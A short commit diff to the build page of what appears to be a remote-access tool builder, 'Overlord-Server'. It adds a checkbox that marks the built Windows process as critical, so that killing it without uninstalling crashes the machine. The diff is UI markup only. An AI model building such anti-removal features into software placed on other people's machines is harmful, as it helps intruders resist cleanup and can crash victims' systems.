add critical process for windows

Overlord-Server/public/build.html

@@ -418,6 +418,16 @@
                       </div>
                     </label>
 
+                    <label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-red-500 transition-colors">
+                      <input type="checkbox" name="critical-process" class="w-4 h-4" />
+                      <div class="flex flex-col">
+                        <span class="flex items-center gap-2">
+                          <i class="fa-solid fa-skull text-red-400"></i> Critical Process
+                        </span>
+                        <span class="text-xs text-slate-500">If running as admin, marks the process as critical — killing it without disconnect/uninstall triggers a BSOD</span>
+                      </div>
+                    </label>
+
                     <div>
                       <label class="block text-sm font-medium text-slate-300 mb-2 flex items-center gap-2">
                         <i class="fa-solid fa-file-code text-blue-400"></i> PE / Assembly Metadata